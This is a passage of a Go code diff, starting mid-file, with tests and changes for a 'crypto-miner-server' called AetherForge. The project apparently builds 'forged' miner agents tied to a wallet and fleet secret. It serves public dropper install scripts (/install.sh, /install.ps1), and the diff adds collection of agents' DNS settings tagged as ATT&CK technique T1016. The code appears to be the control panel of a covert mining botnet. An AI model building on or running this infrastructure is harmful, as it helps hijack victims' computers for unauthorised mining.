r.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("pin status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
req = httptest.NewRequest(http.MethodDelete, "/builds/pin", nil)
|
||||
rec = httptest.NewRecorder()
|
||||
r.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("unpin status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeleteBuildSuccess(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: "del-me", WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
|
||||
FilePath: "/tmp/x", FileName: "x.exe", Platform: "windows",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
r := chi.NewRouter()
|
||||
r.Delete("/builds/{id}", h.DeleteBuild)
|
||||
req := httptest.NewRequest(http.MethodDelete, "/builds/del-me", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
r.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("delete status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetRecentSharesDefaultLimit(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/shares", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.GetRecentShares(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAgentStatsInvalidLimitUsesDefault(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/agents/x/stats?limit=abc", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
r := chi.NewRouter()
|
||||
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
||||
r.ServeHTTP(rec, req)
|
||||
if rec.Code == http.StatusInternalServerError {
|
||||
t.Fatalf("invalid limit should not 500: %s", rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
396
server/internal/api/router_test.go
Normal file
396
server/internal/api/router_test.go
Normal file
@@ -0,0 +1,396 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/builder"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
)
|
||||
|
||||
const routerAuthCacheTTL = 5 * time.Minute
|
||||
|
||||
func resetAuthState(t *testing.T) {
|
||||
t.Helper()
|
||||
authSessionCacheMu.Lock()
|
||||
authSessionCache = map[string]time.Time{}
|
||||
authSessionCacheMu.Unlock()
|
||||
usersMu.Lock()
|
||||
authUsers = map[string]string{}
|
||||
usersFilePath = ""
|
||||
usersMu.Unlock()
|
||||
SetAgentPathSecret("")
|
||||
SetRotateSecretFn(nil)
|
||||
t.Cleanup(resetAuthGlobals)
|
||||
}
|
||||
|
||||
func resetAuthGlobals() {
|
||||
authSessionCacheMu.Lock()
|
||||
authSessionCache = map[string]time.Time{}
|
||||
authSessionCacheMu.Unlock()
|
||||
SetAgentPathSecret("")
|
||||
SetRotateSecretFn(nil)
|
||||
}
|
||||
|
||||
func TestRouterConstants(t *testing.T) {
|
||||
if authCacheTTL != routerAuthCacheTTL {
|
||||
t.Fatalf("authCacheTTL = %v, want %v", authCacheTTL, routerAuthCacheTTL)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthCacheKeyDeterministic(t *testing.T) {
|
||||
k1 := authCacheKey("user", "pass")
|
||||
k2 := authCacheKey("user", "pass")
|
||||
if k1 != k2 || k1 == "" {
|
||||
t.Fatalf("cache key not stable: %q %q", k1, k2)
|
||||
}
|
||||
if authCacheKey("user", "other") == k1 {
|
||||
t.Fatal("different passwords should produce different cache keys")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBasicAuthMiddlewareOptionsPassthrough(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
called := false
|
||||
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
called = true
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
}))
|
||||
req := httptest.NewRequest(http.MethodOptions, "/api/v1/config", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if !called || rec.Code != http.StatusNoContent {
|
||||
t.Fatalf("OPTIONS should bypass auth: called=%v status=%d", called, rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBasicAuthMiddlewareHealthPublic(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("health should be public, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBasicAuthMiddlewareBuildDownloadPublic(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
paths := []string{
|
||||
"/api/v1/builds/abc/download",
|
||||
"/api/v1/builds/abc/artifact/worker.exe",
|
||||
}
|
||||
for _, path := range paths {
|
||||
req := httptest.NewRequest(http.MethodGet, path, nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("%s should be public, got %d", path, rec.Code)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBasicAuthMiddlewareDropperPublic(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
for _, path := range []string{"/get", "/install.sh", "/install.ps1"} {
|
||||
req := httptest.NewRequest(http.MethodGet, path, nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("%s should be public, got %d", path, rec.Code)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBasicAuthMiddlewareMissingCredentials(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
usersMu.Lock()
|
||||
authUsers["admin"] = "secret"
|
||||
usersMu.Unlock()
|
||||
|
||||
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
t.Fatal("handler should not run without auth")
|
||||
}))
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusUnauthorized {
|
||||
t.Fatalf("expected 401, got %d", rec.Code)
|
||||
}
|
||||
if !strings.Contains(rec.Header().Get("WWW-Authenticate"), "Basic") {
|
||||
t.Fatal("expected WWW-Authenticate header")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBasicAuthMiddlewareWrongPassword(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
hashed, err := hashPassword("correct")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
usersMu.Lock()
|
||||
authUsers["admin"] = hashed
|
||||
usersMu.Unlock()
|
||||
|
||||
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
t.Fatal("handler should not run with bad password")
|
||||
}))
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
||||
req.SetBasicAuth("admin", "wrong")
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusUnauthorized {
|
||||
t.Fatalf("expected 401, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBasicAuthMiddlewareValidCredentials(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
hashed, err := hashPassword("correct")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
usersMu.Lock()
|
||||
authUsers["admin"] = hashed
|
||||
usersMu.Unlock()
|
||||
|
||||
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
||||
req.SetBasicAuth("admin", "correct")
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d", rec.Code)
|
||||
}
|
||||
if !authCacheHit("admin", "correct") {
|
||||
t.Fatal("successful auth should populate cache")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBasicAuthMiddlewareAgentPathFleetSecret(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
SetAgentPathSecret("fleet-secret-123")
|
||||
|
||||
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusForbidden {
|
||||
t.Fatalf("missing fleet secret should be 403, got %d", rec.Code)
|
||||
}
|
||||
|
||||
req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", nil)
|
||||
req.Header.Set("X-Fleet-Secret", "fleet-secret-123")
|
||||
rec = httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("valid fleet secret should pass, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouterPostUsersValidation(t *testing.T) {
|
||||
router, _ := newTestRouter(t)
|
||||
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader([]byte(`{}`)))
|
||||
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("empty payload should be 400, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouterPostUsersSuccess(t *testing.T) {
|
||||
router, dataDir := newTestRouter(t)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{"username": "newop", "password": "newpass"})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader(body))
|
||||
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
usersPath := filepath.Join(dataDir, "users.json")
|
||||
data, err := os.ReadFile(usersPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var users map[string]string
|
||||
if err := json.Unmarshal(data, &users); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !checkPassword(users["newop"], "newpass") {
|
||||
t.Fatal("new user password should be bcrypt stored and verifiable")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouterRotateSecretNotConfigured(t *testing.T) {
|
||||
router, _ := newTestRouter(t)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/server/rotate-secret", nil)
|
||||
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusServiceUnavailable {
|
||||
t.Fatalf("expected 503, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouterRotateSecretSuccess(t *testing.T) {
|
||||
router, _ := newTestRouter(t)
|
||||
SetRotateSecretFn(func() (string, error) {
|
||||
return "new-secret-token-xyz", nil
|
||||
})
|
||||
t.Cleanup(func() { SetRotateSecretFn(nil) })
|
||||
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/server/rotate-secret", nil)
|
||||
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["ok"] != true {
|
||||
t.Fatalf("unexpected body: %v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouterBuilderCancelNotFound(t *testing.T) {
|
||||
router, _ := newTestRouter(t)
|
||||
req := httptest.NewRequest(http.MethodDelete, "/api/v1/builder/cancel/missing-token", nil)
|
||||
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("expected 404, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouterBuildDownloadNoAuth(t *testing.T) {
|
||||
dataDir := t.TempDir()
|
||||
seedTestUsers(t, dataDir)
|
||||
database, err := db.New(dataDir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { database.Close() })
|
||||
|
||||
buildID := "dl-build"
|
||||
buildDir := filepath.Join(dataDir, "builds", buildID)
|
||||
if err := os.MkdirAll(buildDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
binPath := filepath.Join(buildDir, "agent.exe")
|
||||
if err := os.WriteFile(binPath, []byte("fake-binary"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
|
||||
FilePath: binPath, FileName: "agent.exe", Platform: "windows",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
wsHub := NewWSHub(database)
|
||||
cfg := &mockConfigProvider{}
|
||||
configHandler := NewConfigHandler(database, cfg)
|
||||
aiHandler := NewAIHandler(database)
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), "", dataDir, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/download", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("download should be public, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouterDropperInstallScriptsPublic(t *testing.T) {
|
||||
router, _ := newTestRouter(t)
|
||||
for _, path := range []string{"/install.sh", "/install.ps1"} {
|
||||
req := httptest.NewRequest(http.MethodGet, path, nil)
|
||||
req.Host = "forge.local:8989"
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("%s status=%d", path, rec.Code)
|
||||
}
|
||||
if !strings.Contains(rec.Body.String(), "AetherForge") {
|
||||
t.Fatalf("%s missing branding", path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouterSPAFallbackUnknownRoute(t *testing.T) {
|
||||
router, _ := newTestRouter(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/unknown-dashboard-route", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected SPA fallback 200, got %d", rec.Code)
|
||||
}
|
||||
if !strings.Contains(rec.Body.String(), "AetherForge") {
|
||||
t.Fatal("expected index.html fallback")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
dataDir := t.TempDir()
|
||||
seedTestUsers(t, dataDir)
|
||||
database, err := db.New(dataDir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { database.Close() })
|
||||
|
||||
wsHub := NewWSHub(database)
|
||||
cfg := &mockConfigProvider{}
|
||||
configHandler := NewConfigHandler(database, cfg)
|
||||
aiHandler := NewAIHandler(database)
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, "", dataDir, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d", rec.Code)
|
||||
}
|
||||
if !strings.Contains(rec.Body.String(), "No frontend configured") {
|
||||
t.Fatalf("unexpected body: %s", rec.Body.String())
|
||||
}
|
||||
}
|
||||
@@ -41,9 +41,9 @@ func checkDashboardWSToken(r *http.Request) bool {
|
||||
}
|
||||
user, pass := parts[0], parts[1]
|
||||
usersMu.RLock()
|
||||
expectedPass, exists := authUsers[user]
|
||||
stored, exists := authUsers[user]
|
||||
usersMu.RUnlock()
|
||||
return exists && secureStringEqual(pass, expectedPass)
|
||||
return exists && checkPassword(stored, pass)
|
||||
}
|
||||
|
||||
var upgrader = websocket.Upgrader{
|
||||
@@ -106,6 +106,8 @@ type WSHub struct {
|
||||
agentConfigs map[string]AgentForgeConfig
|
||||
agentCapabilities map[string]models.AgentCapabilities
|
||||
agentLogs map[string]string
|
||||
// T1016 DNS drift detection — stores last seen resolver list per agent
|
||||
agentDNS map[string][]string
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
@@ -120,6 +122,7 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
}
|
||||
@@ -519,6 +522,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
// DNS config (T1016)
|
||||
DNSServers []string `json:"dns_servers,omitempty"`
|
||||
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
||||
// Resource pressure
|
||||
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
||||
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
||||
@@ -587,6 +593,23 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
|
||||
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
|
||||
|
||||
// T1016 DNS drift detection
|
||||
if len(stats.DNSServers) > 0 {
|
||||
broadcast["dns_servers"] = stats.DNSServers
|
||||
if stats.DNSSearchDomains != nil {
|
||||
broadcast["dns_search_domains"] = stats.DNSSearchDomains
|
||||
}
|
||||
h.mu.Lock()
|
||||
prev, hasPrev := h.agentDNS[agentID]
|
||||
drifted := hasPrev && !dnsEqual(prev, stats.DNSServers)
|
||||
h.agentDNS[agentID] = stats.DNSServers
|
||||
h.mu.Unlock()
|
||||
if drifted {
|
||||
broadcast["dns_drifted"] = true
|
||||
log.Printf("[T1016] DNS drift detected on agent %s: %v → %v", agentID, prev, stats.DNSServers)
|
||||
}
|
||||
}
|
||||
|
||||
if stats.SSHAvailable != nil {
|
||||
broadcast["ssh_available"] = *stats.SSHAvailable
|
||||
}
|
||||
@@ -850,6 +873,25 @@ func mustMarshal(v interface{}) json.RawMessage {
|
||||
return data
|
||||
}
|
||||
|
||||
// dnsEqual returns true when two DNS server lists contain the same addresses
|
||||
// regardless of order. Used for T1016 drift detection.
|
||||
func dnsEqual(a, b []string) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
m := make(map[string]int, len(a))
|
||||
for _, v := range a {
|
||||
m[v]++
|
||||
}
|
||||
for _, v := range b {
|
||||
m[v]--
|
||||
if m[v] < 0 {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// BroadcastToAgents sends a message to all connected agents
|
||||
func (h *WSHub) BroadcastToAgents(msg Message) {
|
||||
h.mu.RLock()
|
||||
|
||||
314
server/internal/api/websocket_test.go
Normal file
314
server/internal/api/websocket_test.go
Normal file
@@ -0,0 +1,314 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
const wsDefaultPingIntervalSec = 30
|
||||
|
||||
func resetWSAuthUsers(t *testing.T, user, pass string) {
|
||||
t.Helper()
|
||||
hashed, err := hashPassword(pass)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
usersMu.Lock()
|
||||
authUsers = map[string]string{user: hashed}
|
||||
usersMu.Unlock()
|
||||
t.Cleanup(func() {
|
||||
usersMu.Lock()
|
||||
authUsers = map[string]string{}
|
||||
usersMu.Unlock()
|
||||
})
|
||||
}
|
||||
|
||||
func wsDashboardToken(user, pass string) string {
|
||||
return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
|
||||
}
|
||||
|
||||
func dialAgentWS(t *testing.T, hub *WSHub) (*websocket.Conn, string) {
|
||||
t.Helper()
|
||||
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
|
||||
t.Cleanup(srv.Close)
|
||||
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
|
||||
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = conn.Close() })
|
||||
return conn, wsURL
|
||||
}
|
||||
|
||||
func authAgentConn(t *testing.T, conn *websocket.Conn, payload map[string]interface{}) Message {
|
||||
t.Helper()
|
||||
data, _ := json.Marshal(payload)
|
||||
if err := conn.WriteJSON(Message{Type: "auth", Payload: data}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var resp Message
|
||||
if err := conn.ReadJSON(&resp); err != nil {
|
||||
t.Fatalf("read auth_response: %v", err)
|
||||
}
|
||||
return resp
|
||||
}
|
||||
|
||||
func TestWSHubPingIntervalConstants(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
if hub.pingIntervalSec != wsDefaultPingIntervalSec {
|
||||
t.Fatalf("default ping interval = %d", hub.pingIntervalSec)
|
||||
}
|
||||
hub.SetPingInterval(5)
|
||||
if hub.pingIntervalSec != wsDefaultPingIntervalSec {
|
||||
t.Fatalf("below-minimum ping should clamp to %d, got %d", wsDefaultPingIntervalSec, hub.pingIntervalSec)
|
||||
}
|
||||
hub.SetPingInterval(15)
|
||||
if hub.pingIntervalSec != 15 {
|
||||
t.Fatalf("expected 15, got %d", hub.pingIntervalSec)
|
||||
}
|
||||
if hub.pingInterval().Seconds() != 15 {
|
||||
t.Fatalf("pingInterval duration = %v", hub.pingInterval())
|
||||
}
|
||||
}
|
||||
|
||||
func TestCheckDashboardWSTokenBcryptUser(t *testing.T) {
|
||||
resetWSAuthUsers(t, "dash", "secret-pass")
|
||||
req := httptest.NewRequest(http.MethodGet, "/ws/dashboard?token="+wsDashboardToken("dash", "secret-pass"), nil)
|
||||
if !checkDashboardWSToken(req) {
|
||||
t.Fatal("valid bcrypt user token should pass")
|
||||
}
|
||||
req = httptest.NewRequest(http.MethodGet, "/ws/dashboard?token="+wsDashboardToken("dash", "wrong"), nil)
|
||||
if checkDashboardWSToken(req) {
|
||||
t.Fatal("wrong password should fail")
|
||||
}
|
||||
req = httptest.NewRequest(http.MethodGet, "/ws/dashboard", nil)
|
||||
if checkDashboardWSToken(req) {
|
||||
t.Fatal("missing token should fail")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleDashboardWSUnauthorized(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(srv.Close)
|
||||
|
||||
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
|
||||
_, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err == nil {
|
||||
t.Fatal("expected dial failure without token")
|
||||
}
|
||||
if resp == nil || resp.StatusCode != http.StatusUnauthorized {
|
||||
t.Fatalf("expected 401 upgrade rejection, got err=%v status=%v", err, resp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleDashboardWSAuthorizedInit(t *testing.T) {
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(srv.Close)
|
||||
|
||||
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
conn, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial: %v status=%v", err, resp)
|
||||
}
|
||||
t.Cleanup(func() { _ = conn.Close() })
|
||||
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
t.Fatalf("read init: %v", err)
|
||||
}
|
||||
if msg.Type != "init" {
|
||||
t.Fatalf("expected init message, got %q", msg.Type)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAgentWSBadFleetSecret(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.SetFleetSecret("required-secret")
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "agent-bad-secret", "fleet_secret": "wrong", "hostname": "host",
|
||||
})
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["success"] != false {
|
||||
t.Fatalf("expected auth failure, got %+v", body)
|
||||
}
|
||||
if hub.isAgentConnected("agent-bad-secret") {
|
||||
t.Fatal("agent should not register with bad fleet secret")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAgentWSStatsAndLogTail(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
agentID := "stats-agent"
|
||||
conn := connectTestAgent(t, hub, agentID)
|
||||
|
||||
statsPayload, _ := json.Marshal(map[string]interface{}{
|
||||
"hashrate_15s": 100.0, "hashrate_1m": 90.0, "hashrate_15m": 80.0,
|
||||
"shares_submitted": 5, "shares_accepted": 4,
|
||||
"cpu_usage_pct": 12.5, "memory_usage_pct": 40.0, "uptime_seconds": 60,
|
||||
})
|
||||
if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
logPayload, _ := json.Marshal(map[string]interface{}{"content": "line1\nline2", "lines": 2})
|
||||
if err := conn.WriteJSON(Message{Type: "log_tail", Payload: logPayload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
